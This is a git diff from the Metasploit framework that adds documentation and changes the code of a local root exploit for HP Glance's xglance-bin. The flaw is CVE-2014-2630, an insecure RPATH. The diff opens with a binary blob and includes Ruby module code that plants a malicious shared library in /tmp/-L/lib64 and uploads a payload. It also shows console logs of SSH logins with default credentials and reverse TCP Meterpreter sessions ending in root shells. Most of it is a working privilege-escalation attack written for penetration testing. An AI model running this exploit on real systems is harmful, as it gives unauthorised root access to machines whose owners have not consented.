zH+8{8fg_^kDa?A95+(4F1+f)bA;&9ZOK73%>h2c{>Y+%4Q|Ce9XQ4!ccBv9_#|UAA zu38DkPy#SienkX@EeHOLllWt8J!|GzmDo4jd}b2L>9*G!LW^gY6eK~L zIA-JRgZ z0gV#5x~|+gq&zAy3YmKTPFf8{a&WornaZ^a+7IVsmY~mP$Fr^tCP!3X!&33#ccevI z(|CnEpMQ&O=JD(Y(w!6>O#fq(iR16(06t?>?!d>7fn>r0@bYK>VBF8hfu(bxG} zwL0$VuGu6jYX-8bC!byix^uYL&{jPcNruHGfFoP@b#?ST9fqWL2N{qe?(Zy_@g1L&wIMh;&TuGmmRu zrALE06^O=O)&Q|pQvi+<;^9-MJ{4AXU8`lZo~)SOs=c79a{scfA|_EoXkta3c!UkZ*y3iC+yfYVvA6rbe))$ z77~jjV|hj0@&9a41lxAkM4Va*5C7XKGGgz(t~el|O37kM>~M2XQe2Xa4(_owo8AG4 zFfeGEE`W;$N2zK^25J=}`&=z(Gbx4ewo9paZ)l2Uh-J(F>xp%IKk@kuh9@& zh2m@_VEJl6U?-0#aU~=zr%~#IdTu7peWd_%%VagN(3&Q@o37WukwZxa;{sM~Lp*{q zzRd=cQ*c1kycDFam3SNd#R9LiB#a|%90>?YV z4ay)&qFj~0dv$HkUrr3Kh1pKk54!za6StMYZG+M62$8nYw|6u5q?cfib$bO7EPhoeh~HD7DfgY3fY@(dyN?&<)3mTpxp zmbLyG4VlLJgji6Le47u*=ovt|lJi!VSsG(d^y0n~eb3bW6i;JKw@w{&>WCeLwMG^J ztCOF3i-?8f0V|%WHtpf!)-wnBmVL;`p0^DVdA_Xi=W>8em9wMc{`q(@R->rP7hB72 zdNfte66T^l$Q}C?V@NG3&#S3e5WXYiwTB46{$d;zcHK$S4BqL3CC97#JdDAeE{SCK ztnxaf3}LFWc;|6C;tXnk5Z)3@Q|b{yt46Q)R7t3~=hw~~cE{&Jg-Cb~4|N^9?2@2O5wAy*_tOYh_ACwmzJ7{BoEOGCEW9f}{F#R~Im2dE;}irz{ci_LTr>o$FtA|0Xl9AbtXIslt3!&^w|^ykid#5J}w4tsC2UB|x{<)`IpJAdzd zdGp@s4TWM$e|b;&_c?$5 zf1Bs8|91SP{QISNd}lcSyu35x2mP&#_l#lOq*WxW56AH;j*`7h=3U&`mdnFKF%EAuJq z`X!!i-~a7@I!5~TKOX;niNCl1E6 X&aZ#R^XLEOukkp)cJRR9*PZ_luS#d0 literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md new file mode 100644 index 0000000000..ce7b9ac110 --- /dev/null +++ b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md @@ -0,0 +1,227 @@ +## Vulnerable Application + +This exploit takes advantage of the fact that xglance-bin, part of +HP's Glance (or Performance Monitoring) version 11'and subsequent' +, was compiled with an insecure RPATH option that attempts to load +libraries from a user controlled location (-L/lib64/). +Creating libraries in this location will result in an escalation +of privileges to root. + +### Mock Application + +Unfortunately the application is a pay for application and the version is many years old by the time the +PoC was released. Instead, we use a mock binary based on the permissions noted in the original CVE +announcement, and the `ldd` details from the PoC. + +The following commands were performed on Fedora 31 to create the binary. +When the binary was pushed to rhel7.1 for testing, a 'of size' libXm.so.4 was required +so ```cp /lib64/libffi.so.6 ./-L/lib64/libXm.so.4``` was enough to make the binary +vulnerable. + + ``` + sudo su + cd ~ + dnf install motif-devel + + cat > main.c << DONE + #include + #include + + void main(){ + printf("HP xglance-bin emulator %d\n",XmVERSION); + char* x = XmCvtXmStringToCT(NULL); + printf("%p",x); + } + + DONE + + + mkdir -p ./-L/lib64; + cd ./-L/lib64; + ``` +The follow commands copies files to the path for building. +However, they may not be installed on a default rhel system. + + ``` + # libXm.so.3 may fail on newer systems like fedora 31 + cp /usr/lib64/libXm.so.3 .; + cp /usr/lib64/libXm.so.4 libXm.so.3; + cp /usr/lib64/libXp.so.6 .; + cp /usr/lib64/libXt.so.6 .; + cd ../..; + ``` + gcc -lXm main.c -o xglance-bin -Wl,-rpath=-L/lib64:/usr/lib64:/usr/X11R6/lib64:/opt/perf/lib64; + mkdir -p /opt/perf/bin/; + cp xglance-bin /opt/perf/bin/; + chown root:bin /opt/perf/bin/xglance-bin; + chmod 4555 /opt/perf/bin/xglance-bin; + ``` + +To confirm the file is vulnerable, run: + ``` + [fedora@fedora31 ~]$ ldd /opt/perf/bin/xglance-bin | grep -- -L/lib64/ + libXt.so.6 => -L/lib64/libXt.so.6 (0x00007f727441b000) + libXp.so.6 => -L/lib64/libXp.so.6 (0x00007f72742b2000) + ``` +We'll want to see one or more `libX*.so*` files with `-L/lib64/`. + + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Get a session + 4. Do: ```use exploit/linux/local/hp_xglance_priv_esc``` + 5. Do: ```set session #``` + 6. Do: ```run``` + 7. You should get a root shell. + +## Options + +### COMPILE + +If the .so exploit should be compiled on the system. `gcc` is required. +More noisey, but more AV resilient. Default is `true` + +## Scenarios + +### Mock binary on Fedora 31 with compile + + ``` + [*] Processing xglance.rb for ERB directives. + resource (xglance.rb)> use auxiliary/scanner/ssh/ssh_login + resource (xglance.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (xglance.rb)> set username fedora + username => fedora + resource (xglance.rb)> set password fedora + password => fedora + resource (xglance.rb)> run + [+] 2.2.2.2:22 - Success: 'fedora:fedora' '' + [*] Command shell session 1 opened (1.1.1.1:34379 -> 2.2.2.2:22) at 2020-04-19 14:39:45 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + ``` + resource (xglance.rb)> use exploit/linux/local/hp_xglance_priv_esc + resource (xglance.rb)> set session -1 + session => -1 + resource (xglance.rb)> set verbose true + verbose => true + resource (xglance.rb)> rexploit + [*] Reloading module... + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 1.1.1.1:4444 + [+] xglance-bin found, and linked to vulnerable relative path -L/lib64/ through libXt.so.6 + [*] Deleting exploit folder: /tmp/-L + [*] Creating exploit folder: /tmp/-L/lib64/ + [+] gcc is installed + [*] Live compiling exploit on system... + [*] Max line length is 65537 + [*] Writing 106298 bytes in 7 chunks of 61359 bytes (octal-encoded), using printf + [*] Next chunk is 61584 bytes + [*] Next chunk is 60411 bytes + [*] Next chunk is 61525 bytes + [*] Next chunk is 61438 bytes + [*] Next chunk is 61757 bytes + [*] Next chunk is 30375 bytes + [*] uploading payload + [*] Writing '/tmp/.u4aLoiq' (207 bytes) ... + [*] Max line length is 65537 + [*] Writing 207 bytes in 1 chunks of 630 bytes (octal-encoded), using printf + [*] Launching xglance-bin... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (980808 bytes) to 2.2.2.2 + [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:55298) at 2020-04-19 14:40:05 -0400 + + meterpreter > getuid + Server username: no-user @ fedora31 (uid=0, gid=1000, euid=0, egid=1000) + meterpreter > shell + Process 1699 created. + Channel 1 created. + whoami + root + ^Z + Background channel 1? [y/N] y + meterpreter > sysinfo + Computer : 2.2.2.2 + OS : Fedora 31 (Linux 5.3.7-301.fc31.x86_64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + +### Mock binary on rhel 7.1 no compile + + ``` + [*] Processing xglance.rb for ERB directives. + resource (xglance.rb)> use auxiliary/scanner/ssh/ssh_login + resource (xglance.rb)> set rhosts 192.168.2.243 + rhosts => 192.168.2.243 + resource (xglance.rb)> set username redhat + username => redhat + resource (xglance.rb)> set password redhat + password => redhat + resource (xglance.rb)> run + [+] 192.168.2.243:22 - Success: 'redhat:redhat' '' + [*] Command shell session 1 opened (192.168.2.128:45901 -> 192.168.2.243:22) at 2020-04-19 14:59:53 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + ``` + msf5 exploit(linux/local/hp_xglance_priv_esc) > rexploit + [*] Reloading module... + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 192.168.2.128:4444 + [+] xglance-bin found, and linked to vulnerable relative path -L/lib64/ through libXm.so.4 + [*] Deleting exploit folder: /tmp/-L + [*] Creating exploit folder: /tmp/-L/lib64/ + [*] Dropping pre-compiled exploit on system... + [*] Writing '/tmp/-L/lib64/libXm.so.3' (368248 bytes) ... + [*] Max line length is 65537 + [*] Writing 368248 bytes in 23 chunks of 46385 bytes (octal-encoded), using printf + [*] Next chunk is 53790 bytes + [*] Next chunk is 38675 bytes + [*] Next chunk is 38759 bytes + [*] Next chunk is 38694 bytes + [*] Next chunk is 38757 bytes + [*] Next chunk is 38658 bytes + [*] Next chunk is 63466 bytes + [*] Next chunk is 62734 bytes + [*] Next chunk is 63857 bytes + [*] Next chunk is 63812 bytes + [*] Next chunk is 46324 bytes + [*] Next chunk is 35989 bytes + [*] Next chunk is 38405 bytes + [*] Next chunk is 38978 bytes + [*] Next chunk is 38950 bytes + [*] Next chunk is 38935 bytes + [*] Next chunk is 40042 bytes + [*] Next chunk is 63562 bytes + [*] Next chunk is 63562 bytes + [*] Next chunk is 63521 bytes + [*] Next chunk is 63618 bytes + [*] Next chunk is 28951 bytes + [*] uploading payload + [*] Writing '/tmp/.u4aLoiq' (207 bytes) ... + [*] Max line length is 65537 + [*] Writing 207 bytes in 1 chunks of 630 bytes (octal-encoded), using printf + [*] Launching xglance-bin... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (980808 bytes) to 192.168.2.243 + [*] Meterpreter session 2 opened (192.168.2.128:4444 -> 192.168.2.243:33373) at 2020-04-19 15:09:55 -0400 + [+] Deleted /tmp/-L/lib64/libXm.so.3 + [+] Deleted /tmp/.u4aLoiq + + meterpreter > getuid + Server username: no-user @ localhost.localdomain (uid=0, gid=1000, euid=0, egid=1000) + meterpreter > sysinfo + Computer : localhost.localdomain + OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` diff --git a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb deleted file mode 100644 index 3091a71ed1..0000000000 --- a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb +++ /dev/null @@ -1,65 +0,0 @@ -## Vulnerable Application - -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files, as well as instructions on installing/configuring the environment if it is different than a standard install. Much of this will come from the PR, and can be copy/pasted. - -### Mock Application - -``` -sudo dnf install motif-devel -cat > main.c << DONE -#include -#include -#include -#include - -void main(){ - printf("HP xglance-bin emulator %d\n",XmVERSION); - char* x = XmCvtXmStringToCT(NULL); - printf("%p",x); -} - -DONE - -gcc -lXm main.c -o xglance-bin -Wl,-rpath=-L/lib64:/usr/lib64:/usr/X11R6/lib64:/opt/perf/lib64 -sudo mkdir -p /opt/perf/bin/ -sudo cp xglance-bin /opt/perf/bin/ -sudo chown root:bin /opt/perf/bin/xglance-bin -sudo chmod 4555 /opt/perf/bin/xglance-bin -``` - - -## Verification Steps - Example steps in this format (is also in the PR): - - 1. Install the application - 2. Start msfconsole - 3. Do: ```use [module path]``` - 4. Do: ```run``` - 5. You should get a shell. - -## Options -List each option and how to use it. - -### Option Name - -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. - -## Scenarios -Specific demo of using the module that might be useful in a real world scenario. - - -### Version and OS - - ``` - code or console output - ``` - - For example: - - To do this specific thing, here's how you do it: - - ``` - msf > use module_name - msf auxiliary(module_name) > set POWERLEVEL >9000 - msf auxiliary(module_name) > exploit - ``` diff --git a/modules/exploits/linux/local/hp_xglance_priv_esc.rb b/modules/exploits/linux/local/hp_xglance_priv_esc.rb index 0985eedac4..e248084e04 100644 --- a/modules/exploits/linux/local/hp_xglance_priv_esc.rb +++ b/modules/exploits/linux/local/hp_xglance_priv_esc.rb @@ -3,19 +3,16 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core/exploit/local/linux' -require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System - #include Msf::Post::Linux::Kernel + include Msf::Post::Linux::Compile include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper - include Msf::Exploit::Local::Linux def initialize(info = {}) super( @@ -24,7 +21,8 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'HP Performance Monitoring xglance Priv Esc', 'Description' => %q( This exploit takes advantage of the fact that xglance-bin, part of - HP's Glance (or Performance Monitoring), was compiled with an insecure + HP's Glance (or Performance Monitoring) version 11 'and subsequent' + , was compiled with an insecure RPATH option that attempts to load libraries from a user controlled location (-L/lib64/). Creating libraries in this location will result in an escalation of privileges to root. @@ -59,6 +57,9 @@ class MetasploitModule < Msf::Exploit::Local 'DefaultTarget' => 0 ) ) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]) + ] register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) @@ -71,6 +72,10 @@ class MetasploitModule < Msf::Exploit::Local datastore['WritableDir'].to_s end + def exploit_folder + "#{base_dir}/-L/lib64/" + end + # Simplify and standardize uploading a file def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." @@ -85,12 +90,8 @@ class MetasploitModule < Msf::Exploit::Local end # Pull the exploit binary or file (.c typically) from our system - def exploit_data - ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630.c') - end - - def exploit_folder - "#{base_dir}/-L/lib64/" + def exploit_data(file) + ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file) end def find_libs @@ -133,64 +134,44 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - # Upload payload executable - payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" - upload_and_chmodx payload_path, generate_payload_exe - - # Set target - uname = cmd_exec 'uname -m' - vprint_status "System architecture is #{uname}" - if target.name.eql? 'Automatic' - case uname - when 'x86_64' - my_target = targets[2] - when /x86/, /i\d86/ - my_target = targets[1] - else - fail_with Failure::NoTarget, 'Unable to automatically select a target' - end - else - my_target = target - end - print_status "Using target: #{my_target.name}" - - cpu = nil - case my_target['Arch'] - when ARCH_X86 - cpu = Metasm::Ia32.new - when ARCH_X64 - cpu = Metasm::X86_64.new - else - fail_with Failure::NoTarget, 'Target is not compatible' - end - - so_stub = exploit_data - so_stub.sub!('#{payload_path}', payload_path) - begin - so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) - rescue - print_error "Metasm encoding failed: #{$ERROR_INFO}" - elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" - elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" - fail_with Failure::Unknown, 'Metasm encoding failed' - end - - # delete folder - vprint_status("Deleting exploit folder: #{exploit_folder}") - rm_f exploit_folder + # delete exploit folder in case a previous attempt failed + vprint_status("Deleting exploit folder: #{base_dir}/-L") + rm_f "#{base_dir}/-L" # make folder vprint_status("Creating exploit folder: #{exploit_folder}") cmd_exec "mkdir -p #{exploit_folder}" - register_file_for_cleanup "#{base_dir}/-L" - # upload payload - vprint_status('Uploading so and creating symlinks') - upload("#{exploit_folder}libXm.so.3",so) - # upload payload folder 2 + register_dir_for_cleanup "#{base_dir}/-L" + + # drop our .so on the system that calls our payload + # we need gcc to compile instead of metasm since metasm + # removes unused variables, which we need to keep xglance-bin + # from breaking and not launching our exploit + so_file = "#{exploit_folder}libXm.so.3" + if live_compile? + vprint_status 'Live compiling exploit on system...' + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + code = exploit_data('CVE-2014-2630.c') + code.sub!('#{payload_path}', payload_path) # inject our payload path + upload_and_compile so_file, code, '-fPIC -shared -static-libgcc' + rm_f "#{so_file}.c" + else + payload_path = '/tmp/.u4aLoiq' + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx so_file, exploit_data('libXm.so.3') + end + + # Upload payload executable + vprint_status 'uploading payload' + upload_and_chmodx payload_path, generate_payload_exe + + # link so files to exploit vuln lib = find_libs - cmd_exec "ln -s #{exploit_folder}libXm.so.3 #{exploit_folder}#{lib}" - # just to be safe since this was in the original exploit - cmd_exec "ln -s #{exploit_folder}libXm.so.3 #{exploit_folder}libXp.so.6" - cmd_exec "ln -s #{exploit_folder}libXm.so.3 #{exploit_folder}libXt.so.6" + # just to be safe, Xt and Xp were in the original exploit + # our mock binary is also exploitsable through libXmu.so.6 + # unsure about the real binary + ['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l| + cmd_exec "cd #{exploit_folder}; ln -s libXm.so.3 #{l}" + end # Launch exploit print_status "Launching xglance-bin..."